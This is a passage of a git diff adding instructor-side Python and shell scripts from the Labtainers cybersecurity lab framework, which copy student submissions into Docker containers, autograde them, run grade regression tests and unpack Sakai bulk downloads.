(1=>FAILURE)" % result) + if result == FAILURE: + logger.ERROR("Failed to set labname in container %s!\n" % container_name) + sys.exit(1) + + # Create is_grade_container + username = getpass.getuser() + # Make sure check for is_regress_test first + if regress_test is not None: + xfer_dir = "" + # then check if it is watermark test required + if check_watermark: + xfer_dir = os.path.join(labtainer_config.watermark_root, labname) + else: + xfer_dir = os.path.dirname(regress_test) + zip_filelist = glob.glob('%s/*.zip' % xfer_dir) + else: + xfer_dir = os.path.join(labtainer_config.host_home_xfer, labname) + zip_filelist = glob.glob('/home/%s/%s/*.zip' % (username, xfer_dir)) + logger.DEBUG("zip_filelist is (%s)" % zip_filelist) + # Copy zip files from 'Shared' folder to 'home/$CONTAINER_USER' + for fname in zip_filelist: + logger.DEBUG("name is %s" % fname) + base_fname = os.path.basename(fname) + # Copy zip file + command = 'docker cp "%s" %s:/home/instructor/' % (fname, container_name) + logger.DEBUG("Command to execute is (%s)" % command) + result = subprocess.call(shlex.split(command)) + logger.DEBUG("Result of subprocess.call CopyStudentArtifacts copy zipfile (%s) is %s (1=>FAILURE)" % (fname, result)) + if result == FAILURE: + logger.ERROR("Failed to copy student artifacts into container %s!\n" % container_name) + sys.exit(1) + +def InstDocsToHostDir(labname, labtainer_config, lab_path): + xfer_dir = os.path.join(labtainer_config.host_home_xfer, labname) + username = getpass.getuser() + host_home_xfer = '/home/%s/%s' % (username, xfer_dir) + logger.DEBUG("path to work with is (%s)" % host_home_xfer) + logger.DEBUG("labname is (%s)" % labname) + docsdir_created = False + docsdir_path = '%s/docs' % host_home_xfer + + # create temporary directory + tmpdir = '%s/.tmpdir' % host_home_xfer + labutils.createDirectoryPath(tmpdir) + + split_string = '.%s.zip' % labname + + zip_filelist = glob.glob('%s/*.zip' % host_home_xfer) + logger.DEBUG("filenames is (%s)" % zip_filelist) + tmpdocszip = '%s/docs.zip' % tmpdir + # Process each zip file in host_home_xfer + for fname in zip_filelist: + ZipFileName = os.path.basename(fname) + # Note: at this point the ZipFileName should not have the 'containername' yet + # the format should be ..zip + logger.DEBUG("ZipFileName is (%s)" % ZipFileName) + + # Try unpacking the zip file into temporary directory to check if docs.zip exist + zipoutput = zipfile.ZipFile(fname, "r") + ''' retain dates of student files ''' + for zi in zipoutput.infolist(): + logger.DEBUG('zi is %s tmpdir is %s' % (zi.filename, tmpdir)) + zipoutput.extract(zi, tmpdir) + date_time = time.mktime(zi.date_time + (0, 0, -1)) + dest = os.path.join(tmpdir, zi.filename) + os.utime(dest, (date_time, date_time)) + zipoutput.close() + + # If docs.zip exist + if os.path.exists(tmpdocszip): + # Time to create docs directory if it hasn't been created + if not docsdir_created: + docsdir_created = True + labutils.createDirectoryPath(docsdir_path) + + # Note: at this point the ZipFileName should not have the 'containername' yet + # the format should be ..zip + splitlist = ZipFileName.split(split_string) + student_email = splitlist[0] + student_emaildir = '%s/%s' % (docsdir_path, student_email) + logger.DEBUG("student_email is (%s)" % student_email) + logger.DEBUG("student_emaildir is (%s)" % student_emaildir) + + # Create student's e-mail directory (if it does not exist) + labutils.createDirectoryPath(student_emaildir) + # Unpacking the docs.zip file into student's e-mail directory + zipoutput = zipfile.ZipFile(tmpdocszip, "r") + ''' retain dates of student files ''' + for zi in zipoutput.infolist(): + zipoutput.extract(zi, student_emaildir) + date_time = time.mktime(zi.date_time + (0, 0, -1)) + dest = os.path.join(student_emaildir, zi.filename) + os.utime(dest, (date_time, date_time)) + zipoutput.close() + + # remove and re-create temporary directory for the students' zip file + shutil.rmtree(tmpdir, ignore_errors=True) + os.makedirs(tmpdir) + + # Finally done for all students' zip file in the host_home_xfer directory + # Final removal of temporary directory + shutil.rmtree(tmpdir, ignore_errors=True) + +def copyAssessBin(container_name): + tmp_dir='/tmp/assess_bin' + shutil.rmtree(tmp_dir, ignore_errors=True) + try: + os.makedirs(tmp_dir) + except: + logger.ERROR("did not expect to find dir %s" % tmp_dir) + shutil.copytree('assess_bin', os.path.join(tmp_dir, 'bin')) + shutil.copyfile('../labtainer-student/bin/LabCount.py', os.path.join(tmp_dir, 'bin', 'LabCount.py')) + shutil.copyfile('../labtainer-student/lab_bin/ParameterParser.py', os.path.join(tmp_dir, 'bin', 'ParameterParser.py')) + shutil.copyfile('../labtainer-student/lab_bin/ParameterizeLogging.py', os.path.join(tmp_dir, 'bin', 'ParameterizeLogging.py')) + + command = 'docker cp /tmp/assess_bin/bin %s:/home/instructor/.local/' % (container_name) + logger.DEBUG("Command to execute is (%s)" % command) + result = subprocess.call(shlex.split(command)) + logger.DEBUG("Result of subprocess.call %s (1=>FAILURE)" % (result)) + if result == FAILURE: + logger.ERROR("Failed copy assess_bin %s!\n" % container_name) + sys.exit(1) + +def copyChownGradesFile(labtainer_config, labname, grade_container, container_user, copy_json): + host_home_xfer = os.path.join(labtainer_config.host_home_xfer, labname) + + username = getpass.getuser() + + # Copy .grades.txt file + grade_filename = '/home/%s/%s.grades.txt' % (container_user, labname) + command = "docker cp %s:%s /home/%s/%s" % (grade_container, grade_filename, username, host_home_xfer) + logger.DEBUG("Command to execute is (%s)" % command) + result = subprocess.call(shlex.split(command)) + logger.DEBUG("Result of subprocess.Popen exec cp %s.grades.txt file is %s" % (labname, result)) + if result == FAILURE: + # try grabbing instructor.log + command = "docker cp %s:/tmp/instructor.log /tmp/instructor.log" % (grade_container) + result = subprocess.call(shlex.split(command)) + logger.DEBUG("Result of subprocess.Popen exec cp instructor.log file is %s" % (result)) + cmd = 'docker stop %s' % grade_container + labutils.DockerCmd(cmd) + + if copy_json: + # Copy .grades.json file + gradejson_filename = '/home/%s/%s.grades.json' % (container_user, labname) + command = "docker cp %s:%s /home/%s/%s" % (grade_container, gradejson_filename, username, host_home_xfer) + logger.DEBUG("Command to execute is (%s)" % command) + result = subprocess.call(shlex.split(command)) + logger.DEBUG("Result of subprocess.Popen exec cp %s.grades.json file is %s" % (labname, result)) + if result == FAILURE: + cmd = 'docker stop %s' % grade_container + labutils.DockerCmd(cmd) + + +def diddleProfile(container_name): + command = 'docker exec %s script -q -c "/home/instructor/.local/bin/rootprofile.sh" /dev/null' % (container_name) + logger.DEBUG("Command to execute is (%s)" % command) + result = subprocess.call(command, shell=True) + logger.DEBUG("Result of subprocess.call CopyStudentArtifacts set labname is %s (1=>FAILURE)" % result) + if result == FAILURE: + logger.ERROR("Failed to set labname in container %s!\n" % container_name) + sys.exit(1) + +def autoGrade(grade_container, lab_path, labtainer_config, labname, copy_json): + cmd = "docker exec %s bash -c 'su - instructor -c \"cd;.local/bin/instructor.py\"'" % (grade_container) + if not labutils.DockerCmd(cmd): + logger.ERROR('trouble with %s' % cmd) + copyChownGradesFile(labtainer_config, labname, grade_container, 'instructor', copy_json) + username = getpass.getuser() + host_xfer = os.path.join('/home', username, labtainer_config.host_home_xfer, labname) + fglob = glob.glob(host_xfer+'/*grades.txt') + if len(fglob) == 0: + print('No grades.txt file at %s' % host_xfer) + else: + with open(fglob[0]) as fh: + for line in fh: + print line.rstrip() + cmd = 'docker stop %s' % grade_container + labutils.DockerCmd(cmd) + +def getGradeImageName(labtainer_config, registry): + image_name = 'labtainer.grader' + image_info = labutils.imageInfo(image_name , registry, labtainer_config) + if image_info is None: + logger.ERROR('Could not find image for %s' % image_name) + exit(1) + else: + new_image_name = image_name + if not image_info.local_build: + new_image_name = '%s/%s' % (registry, image_name) + if not image_info.local: + labutils.dockerPull(registry, image_name) + return new_image_name + +def getRegistry(use_test_registry, labtainer_config): + if not use_test_registry: + env_test_registry = os.getenv('TEST_REGISTRY') + if env_test_registry is not None and (env_test_registry.lower() == 'yes' or env_test_registry.lower() == 'true'): + use_test_registry = True + if use_test_registry: + return labtainer_config.test_registry + else: + return labtainer_config.default_registry + +def moreTerm(labname): + grade_container = '%s-igrader' % labname + spawn_command = "gnome-terminal -- docker exec -it %s bash -l cd /home/instructor &" % grade_container + logger.DEBUG("spawn_command is (%s)" % spawn_command) + os.system(spawn_command) + +def doGrade(labname, use_test_registry, debug, redo, update, regress_test=None, copy_json=True): + grade_container = '%s-igrader' % labname + if redo: + cmd = 'docker stop %s' % grade_container + labutils.DockerCmd(cmd) + cmd = 'docker rm %s' % grade_container + labutils.DockerCmd(cmd) + lab_path = os.path.join(os.path.abspath('../../labs'), labname) + labtainer_config_dir = os.path.join(os.path.dirname(os.path.dirname(lab_path)), 'config', 'labtainer.config') + labtainer_config = ParseLabtainerConfig.ParseLabtainerConfig(labtainer_config_dir, logger) + registry = getRegistry(use_test_registry, labtainer_config) + grade_image = getGradeImageName(labtainer_config, registry) + if update: + removeGraders(registry) + saki.checkBulkSaki(labname) + if not labutils.IsContainerCreated(grade_container): + docker0_IPAddr = labutils.getDocker0IPAddr() + add_host_param = '--add-host my_host:%s' % (docker0_IPAddr) + cmd = "docker create -t --name=%s %s --hostname=%s %s" % (grade_container, add_host_param, grade_container, grade_image) + logger.DEBUG("Command to execute was (%s)" % cmd) + ps = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[1]) > 0: + logger.DEBUG('command was %s' % cmd) + else: + logger.DEBUG('Container already exists') + labutils.StartMyContainer(grade_container) + InstDocsToHostDir(labname, labtainer_config, lab_path) + logger.DEBUG('do CopyStudentArtifacts for %s, labname: %s ' % (grade_container, labname)) + copy_result = CopyStudentArtifacts(labtainer_config, grade_container, labname, + regress_test, False) + if copy_result == FAILURE: + logger.ERROR("Failed to copy students' artifacts to container %s!\n" % grade_container) + exit(1) + copyAssessBin(grade_container) + labutils.CopyInstrConfig(grade_container, 'instructor', lab_path) + diddleProfile(grade_container) + if debug: + spawn_command = "gnome-terminal -- docker exec -it %s bash -l cd /home/instructor &" % grade_container + logger.DEBUG("spawn_command is (%s)" % spawn_command) + os.system(spawn_command) + else: + autoGrade(grade_container, lab_path, labtainer_config, labname, copy_json) + +def removeGraders(registry): + cmd = 'docker ps -a' + ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + container_list = [] + for line in output[0].splitlines(): + #print line + if line.strip().endswith('-igrader'): + container_list.append(line.split()[0]) + if len(container_list) > 0: + cmd = 'docker rm %s' % ' '.join(container_list) + print cmd + os.system(cmd) + + lab = sys.argv[1] + cmd = 'docker images | grep grader' + ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + image = 'labtainer.grader' + image_find = '/%s' % image + image_find2 = '%s' % image + image_list = [] + for line in output[0].splitlines(): + #print line + if (image_find in line or line.startswith(image_find2)) and ' ' not in line: + parts = line.split() + image = '%s:%s' % (parts[0], parts[1]) + image_list.append(image) + if len(image_list) > 0: + cmd = 'docker rmi -f %s' % ' '.join(image_list) + print cmd + os.system(cmd) + else: + print('No images for %s' % image) + cmd = 'docker pull %s/labtainer.grader' % registry + os.system(cmd) + +def main(): + parser = argparse.ArgumentParser(description='Grade a Labtainers lab') + parser.add_argument('labname', help='The lab to grade') + parser.add_argument('-r', '--redo', action='store_true', help='Creates new instance of the lab, previous work will be lost.') + parser.add_argument('-d', '--debug', action='store_true', help='Create the grading container leave it running with a terminal') + parser.add_argument('-t', '--test_registry', action='store_true', help='Use image from test registry') + parser.add_argument('-u', '--update', action='store_true', help='Update grader image, deletes existing grader containers') + parser.add_argument('-a', '--add_terminal', action='store_true', help='Create an additional virtual terminal attached to an existing grade \ + container started with the -d option') + args = parser.parse_args() + labname = args.labname + if args.add_terminal: + moreTerm(labname) + else: + doGrade(labname, args.test_registry, args.debug, args.redo, args.update) + + +labutils.logger = LabtainerLogging.LabtainerLogging("grader.log", 'instructor', "../../config/labtainer.config") +labutils.logger.INFO("Begin logging") +logger = labutils.logger +if __name__ == '__main__': + sys.exit(main()) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/instructor.build.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/instructor.build.sh new file mode 100755 index 000000000..c14b8e2f7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/instructor.build.sh @@ -0,0 +1,20 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +./buildInstructorImage.sh formatstring +./buildInstructorImage.sh bufoverflow +./buildInstructorImage.sh onewayhash +./buildInstructorImage.sh telnetlab client +./buildInstructorImage.sh telnetlab server +./buildInstructorImage.sh httplab client +./buildInstructorImage.sh httplab server +./buildInstructorImage.sh vpnlab client +./buildInstructorImage.sh vpnlab server +./buildInstructorImage.sh vpnlab router diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/regresstest.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/regresstest.py new file mode 100755 index 000000000..20624f6fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/regresstest.py @@ -0,0 +1,200 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' + +# Filename: regresstest.py +# Description: +# Regression Testing script. This script will make use of labutils. +# +# + +import sys +import os +import getpass +import time +import imp +gradelab = imp.load_source('gradelab', 'bin/gradelab') +instructor_cwd = os.getcwd() +student_cwd = instructor_cwd.replace('labtainer-instructor', 'labtainer-student') +# Append Student CWD to sys.path +sys.path.append(student_cwd+"/bin") +import labutils +import logging +import LabtainerLogging +import ParseLabtainerConfig + +def usage(): + sys.stderr.write("Usage: regresstest.py [ | -a ]\n") + sys.stderr.write(" : regression test on only\n") + sys.stderr.write(" -a : continue running regression test from \n") + sys.exit(1) + +LABS_ROOT = os.path.abspath('../../labs') + + +def compareGrades(GradesGold, Grades): + GradesGoldLines = {} + GradesLines = {} + with open(GradesGold) as gradesgoldfile: + for line in gradesgoldfile: + linestrip = line.strip() + if not linestrip or linestrip.startswith("#"): + continue + linetoken = linestrip.split() + student_email = linetoken[0] + if "_at_" in student_email: + if student_email in GradesGoldLines: + logger.ERROR("GradesGold file error: Multiple entries for the same student's e-mail %s" % student_email) + return False + else: + new_line = line.strip().replace(" ", "") + GradesGoldLines[student_email] = new_line + with open(Grades) as gradesfile: + for line in gradesfile: + linestrip = line.strip() + if not linestrip or linestrip.startswith("#"): + continue + linetoken = linestrip.split() + student_email = linetoken[0] + if "_at_" in student_email: + if student_email in GradesLines: + logger.ERROR("Grades file error: Multiple entries for the same student's e-mail %s" % student_email) + return False + else: + new_line = line.strip().replace(" ", "") + GradesLines[student_email] = new_line + if GradesGoldLines == GradesLines: + return True + else: + return False + + +def RegressTest(lab_path, standard, logger): + labname = os.path.basename(lab_path) + labtainer_config_dir = os.path.join(os.path.dirname(os.path.dirname(lab_path)), 'config', 'labtainer.config') + labtainer_config = ParseLabtainerConfig.ParseLabtainerConfig(labtainer_config_dir, logger) + + labutils.is_valid_lab(lab_path) + regresstest_lab_path = os.path.join(labtainer_config.testsets_root, labname, standard) + host_home_xfer = os.path.join(labtainer_config.host_home_xfer, labname) + logger.DEBUG("Host Xfer directory for labname %s is %s" % (labname, host_home_xfer)) + logger.DEBUG("Regression Test path for labname %s is %s" % (labname, regresstest_lab_path)) + + GradesGold = "%s/%s.grades.txt" % (regresstest_lab_path, labname) + username = getpass.getuser() + Grades = "/home/%s/%s/%s.grades.txt" % (username, host_home_xfer, labname) + logger.DEBUG("GradesGold is %s - Grades is %s" % (GradesGold, Grades)) + + is_regress_test = standard + check_watermark = False + auto_grade = True + debug_grade = False + gradelab.doGrade(labname, False, False, True, False, regress_test=GradesGold) + +# for name, container in start_config.containers.items(): +# mycontainer_name = container.full_name +# container_user = container.user +# +# if mycontainer_name == start_config.grade_container: +# logger.DEBUG('about to RunInstructorCreateDradeFile for container %s' % start_config.grade_container) +# RunInstructorCreateGradeFile(start_config.grade_container, container_user, labname, check_watermark) + + # Pass 'True' to ignore_stop_error (i.e., ignore stop error) + + CompareResult = False + # GradesGold and Grades must exist + logger.DEBUG('compare %s to %s' % (GradesGold, Grades)) + if not os.path.exists(GradesGold): + logger.ERROR("GradesGold %s file does not exist!" % GradesGold) + elif not os.path.exists(Grades): + logger.ERROR("Grades %s file does not exist!" % Grades) + else: + CompareResult = compareGrades(GradesGold, Grades) + return CompareResult + +def main(): + labnamelist = [] + num_args = len(sys.argv) + choplist = False + if num_args == 1: + labnamelist = os.listdir(LABS_ROOT) + elif num_args == 2: + labnamelist.append(sys.argv[1]) + elif num_args == 3: + dash_a = sys.argv[1] + if dash_a != "-a": + usage() + labnamelist = os.listdir(LABS_ROOT) + labnamestart = sys.argv[2] + if labnamestart not in labnamelist: + sys.stderr.write("Using non-existent with -a option!\n") + usage() + choplist = True + else: + usage() + + finallabnamelist = [] + if choplist: + startfound = False + for labname in sorted(labnamelist): + if not startfound: + if labname == labnamestart: + finallabnamelist.append(labname) + startfound = True + else: + continue + else: + finallabnamelist.append(labname) + else: + finallabnamelist = labnamelist + + for labname in sorted(finallabnamelist): + labutils.logger = LabtainerLogging.LabtainerLogging("labtainer-regress.log", labname, "../../config/labtainer.config") + labutils.logger.INFO("Begin logging regresstest.py for %s lab" % labname) + labutils.logger.DEBUG("Current name is (%s)" % labname) + fulllabname = os.path.join(LABS_ROOT, labname) + if labname == "etc" or labname == "bin": + labutils.logger.DEBUG("skipping etc or bin") + continue + + if os.path.isdir(fulllabname): + labutils.logger.DEBUG("(%s) is directory - assume (%s) is a labname" % (fulllabname, labname)) + + # RegressTest will do test following: + dir_path = os.path.dirname(os.path.realpath(__file__)) + dir_path = dir_path[:dir_path.index("scripts")] + dir_path += "testsets/labs/" + labname + if not os.path.isdir(dir_path): + labutils.logger.INFO("no tests found for "+labname) + continue + + crude_standards = os.listdir(dir_path) + standards = [] + for items in crude_standards: + if "." not in items: + standards.append(items) + lab_path = os.path.join(LABS_ROOT, labname) + if len(standards) == 0: + print('Did not find any subdirectories under %s' % lab_path) + print('Test paths should be testsets/labs/[lab]/GOLD/...') + for standard in standards: + RegressTestResult = RegressTest(lab_path, standard, labutils.logger) + if RegressTestResult == False: + # False means grades.txt.GOLD != grades.txt, output error then break + print("RegressTest fails on %s lab %s" % (labname, standard)) + sys.exit(1) + else: + print("RegressTest on %s lab SUCCESS %s" % (labname, standard)) + + return 0 + +if __name__ == '__main__': + sys.exit(main()) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/saki.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/saki.py new file mode 100755 index 000000000..cc88b4942 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/saki.py @@ -0,0 +1,202 @@ +#!/usr/bin/env python +import os +import sys +import time +import datetime +import zipfile +import shutil +import glob +from io import BytesIO +instructor_cwd = os.getcwd() +student_cwd = instructor_cwd.replace('labtainer-instructor', 'labtainer-student') +# Append Student CWD to sys.path +sys.path.append(student_cwd+"/bin") +import ParseLabtainerConfig +import labutils +import LabtainerLogging +''' Report on students submission of reports ''' +def reportSum(zip_fname, xfer, expect_lab): + lab_xfer = os.path.join(xfer, expect_lab) + reports_dir = os.path.join(lab_xfer, 'reports') + sum_report = os.path.join(lab_xfer, 'missing_submits.txt') + sum_fh = open(sum_report, 'w') + ziplist = glob.glob(lab_xfer+'/*.zip') + labs_dir = os.path.abspath('../../labs') + lab_doc_dir = os.path.join(labs_dir, expect_lab, 'docs') + orig_doc = glob.glob(lab_doc_dir+'/*emplate*docx') + orig_size = None + if len(orig_doc) > 0: + orig_size = os.path.getsize(orig_doc[0]) + + ''' get student list ''' + student_list = [] + with zipfile.ZipFile(zip_fname) as zip_file: + for member_info in zip_file.infolist(): + member = member_info.filename + parts = member.split('/') + student = parts[1].strip() + if student not in student_list: + student_list.append(student) + sum_fh.write('%-50s %-10s %-10s\n' % ('STUDENT', 'ZIP', 'REPORT')) + sum_fh.write('%-50s %-10s %-10s\n' % ('=======', '===', '======')) + for student in student_list: + gotreport = False + email_pref = student[student.find("(")+1:student.find(")")] + sdir = os.path.join(reports_dir, student) + try: + os.makedirs(sdir) + except OSError: + pass + if os.path.isdir(sdir): + rfiles = os.listdir(sdir) + for report in rfiles: + rpath = os.path.join(sdir, report) + rsize = os.path.getsize(rpath) + if orig_size is None or rsize != orig_size: + gotreport = True + else: + print("NO RESULTS FOR %s" % student) + + gotzip = False + #print('email %s' % email_pref) + for zfile in ziplist: + bname = os.path.basename(zfile) + if bname.startswith(email_pref): + gotzip = True + zip_line = ' ' + if not gotzip: + zip_line = 'MISSING' + rep_line = ' ' + if not gotreport: + rep_line = 'MISSING' + sum_fh.write('%-50s %-10s %-10s\n' % (student.strip(), zip_line, rep_line)) + sum_fh.close() + +''' +Extract individual zip files from a saki bulk download +''' + +def extract(zip_fname, xfer, expect_lab): + ''' zip_fname is assumed a saki bulk zip file of all student attachments for this assignment''' + results_dir = os.path.join(xfer, expect_lab, 'reports') + try: + os.makedirs(results_dir) + except OSError: + pass + count = 0 + unexpected = 0 + with zipfile.ZipFile(zip_fname) as zip_file: + for member_info in zip_file.infolist(): + member = member_info.filename + parts = member.split('/') + student = parts[1] + #print('STUDENT %s fname %s' % (student, member)) + date_time = time.mktime(member_info.date_time + (0, 0, -1)) + filename = os.path.basename(member) + if filename.endswith('.zip'): + parts = filename.split('.') + lab = parts[-2] + if lab == expect_lab: + count += 1 + else: + unexpected += 1 + lab_xfer = os.path.join(xfer, lab) + # skip directories + if not filename: + continue + + # copy file (taken from zipfile's extract) into xfer for lab + source = zip_file.open(member) + #print("filename <%s> lab_xfer is %s" % (filename, lab_xfer)) + if not os.path.isdir(lab_xfer): + print('ERROR ******: no such xfer directory. student: %s, file %s' % (student, member)) + continue + target = file(os.path.join(lab_xfer, filename), "wb") + with source, target: + shutil.copyfileobj(source, target) + + # copy reports + target_dir = os.path.join(results_dir, student) + try: + os.makedirs(target_dir) + except OSError: + pass + zip_file_data = BytesIO(zip_file.read(member)) + with zipfile.ZipFile(zip_file_data) as zip_zips: + for zi in zip_zips.namelist(): + if zi == 'docs.zip': + docs_zip_data = BytesIO(zip_zips.read(zi)) + with zipfile.ZipFile(docs_zip_data) as zip_docs: + for zdoc_info in zip_docs.infolist(): + zdoc = zdoc_info.filename + doc_date_time = time.mktime(zdoc_info.date_time + (0, 0, -1)) + #print('student %s look for report in %s' % (student, zdoc)) + fname, ext = os.path.splitext(zdoc) + if (ext == '.docx' or ext == '.odt' or ext == '.xlsx') and (fname+'.pdf' not in zip_docs.namelist()): + if not os.path.isfile(os.path.join(target_dir, zdoc)): + source = zip_docs.open(zdoc) + if os.path.isdir(target_dir): + target = file(os.path.join(target_dir, os.path.basename(zdoc)), "wb") + #zip_docs.extract(zdoc, target_dir) + shutil.copyfileobj(source, target) + #print('copied report %s to %s' % (zdoc, target_dir)) + os.utime(os.path.join(target_dir, zdoc), (doc_date_time, doc_date_time)) + else: + print('no dir at %s' % target_dir) + else: + print('found doc at %s, do not overwrite' % os.path.join(target_dir, zdoc)) + + else: + fname, ext = os.path.splitext(filename) + #print('fname is %s' % fname) + if (ext == '.docx' or ext == '.odt' or ext == '.xlsx'): + source = zip_file.open(member) + parts = member.split('/') + student = parts[1] + target_dir = os.path.join(results_dir, student) + #print('target_dir is %s' % target_dir) + try: + os.makedirs(target_dir) + except OSError: + pass + #zip_file.extract(member, target_dir) + target = file(os.path.join(target_dir, filename), "wb") + + #print('copied %s to %s' % (source, target)) + shutil.copyfileobj(source, target) + os.utime(os.path.join(target_dir, filename), (date_time, date_time)) + if count > 0: + print('Extracted %d student zip files' % count) + if unexpected > 0: + print('Extracted %d for other labs' % unexpected) + reportSum(zip_fname, xfer, expect_lab) + + + +def checkBulkSaki(lab): + labtainer_config_dir = '../../config/labtainer.config' + labutils.logger = LabtainerLogging.LabtainerLogging("saki.log", 'none', labtainer_config_dir) + labtainer_config = ParseLabtainerConfig.ParseLabtainerConfig(labtainer_config_dir, labutils.logger) + home = os.getenv('HOME') + xfer = os.path.join(home, labtainer_config.host_home_xfer) + bulk_path = os.path.join(xfer, lab, 'bulk_download.zip') + if os.path.isfile(bulk_path): + extract(bulk_path, xfer, lab) + else: + lxfer = os.path.join(xfer, lab) + zfiles = glob.glob(lxfer+'/*.zip') + for z in zfiles: + f = os.path.basename(z).rsplit('.',1)[0] + if '_' in f: + ts = f.split('_')[1] + try: + v = time.mktime(datetime.datetime.strptime(ts,'%Y%m%d%H%M%S').timetuple()) + print('Assuming Sakai bulk download: %s' % z) + extract(z, xfer, lab) + except: + pass + + +if __name__ == '__main__': + lab = sys.argv[1] + checkBulkSaki(lab) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/stop.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/stop.py new file mode 100755 index 000000000..4c69c1081 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/stop.py @@ -0,0 +1,78 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' + +# Filename: stop.py +# Description: +# This is the stop script to be run by the instructor. +# Note: +# 1. It needs 'start.config' file, where +# is given as a parameter to the script. +# + +import getpass +import re +import subprocess +import zipfile + +import sys +import os +instructor_cwd = os.getcwd() +student_cwd = instructor_cwd.replace('labtainer-instructor', 'labtainer-student') +# Append Student CWD to sys.path +sys.path.append(student_cwd+"/bin") +import labutils +import logging +import LabtainerLogging + +# Usage: stop.py +# Arguments: +# - the lab to stop +def main(): + if len(sys.argv) > 2: + sys.stderr.write("Usage: stop.py []\n") + sys.exit(1) + + lablist = [] + if len(sys.argv) == 2: + labname = sys.argv[1] + labutils.logger = LabtainerLogging.LabtainerLogging("labtainer.log", labname, "../../config/labtainer.config") + lablist.append(labname) + else: + labname = "all" + # labutils.logger need to be set before calling GetListRunningLab() + labutils.logger = LabtainerLogging.LabtainerLogging("labtainer.log", labname, "../../config/labtainer.config") + lablist = labutils.GetListRunningLab() + + for labname in lablist: + labutils.logger.INFO("Begin logging stop.py for %s lab" % labname) + labutils.logger.DEBUG("Instructor CWD = (%s), Student CWD = (%s)" % (instructor_cwd, student_cwd)) + # Pass 'False' to ignore_stop_error (i.e., do not ignore error) + lab_path = os.path.join(os.path.abspath('../../labs'), labname) + has_running_containers, running_containers_list = labutils.GetRunningContainersList() + if has_running_containers: + has_lab_role, labnamelist = labutils.GetRunningLabNames(running_containers_list, "instructor") + if has_lab_role: + if labname not in labnamelist: + labutils.logger.ERROR("No lab named %s in currently running labs!" % labname) + sys.exit(1) + else: + labutils.logger.ERROR("No running labs in instructor's role") + sys.exit(1) + else: + labutils.logger.ERROR("No running labs at all") + sys.exit(1) + labutils.StopLab(lab_path, "instructor", False) + + return 0 + +if __name__ == '__main__': + sys.exit(main()) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/stopgrade b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/stopgrade new file mode 100755 index 000000000..c1642aec2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/stopgrade @@ -0,0 +1,19 @@ +#!/usr/bin/env python +import os +import sys +import logging +instructor_cwd = os.getcwd() +student_cwd = instructor_cwd.replace('labtainer-instructor', 'labtainer-student') +# Append Student CWD to sys.path +sys.path.append(student_cwd+"/bin") +import labutils +import logging +import LabtainerLogging + +labutils.logger = LabtainerLogging.LabtainerLogging("grader.log", 'grader', "../../config/labtainer.config") +has_running_containers, running_containers_list = labutils.GetRunningContainersList() +if has_running_containers: + for container in running_containers_list: + if container.endswith('-igrader'): + cmd = 'docker stop %s' % container + os.system(cmd) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/stoplab b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/stoplab new file mode 100755 index 000000000..f54538eaa --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/stoplab @@ -0,0 +1,2 @@ +#!/bin/bash +stopgrade $@ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/sum_saki.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/sum_saki.py new file mode 100755 index 000000000..cc99bc341 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/sum_saki.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python +import sys +import os +import glob +import zipfile +import shutil +from io import BytesIO +path = '/tmp/mft/Lab 1 - Syslog' +results = '/tmp/mft/syslog-results' +student_dirs = os.listdir(path) +print('%-40s %10s %10s' % ('student', 'report', 'zip')) +for s in student_dirs: + #spath = os.path.join(path, s, 'Submission attachment(s):') + sresults = os.path.join(results, s) + try: + os.makedirs(sresults) + except: + pass + spath = os.path.join(path, s) + sub_list = os.listdir(spath) + doc_status = 'NONE' + zip_status = 'NONE' + zip_file_data = None + 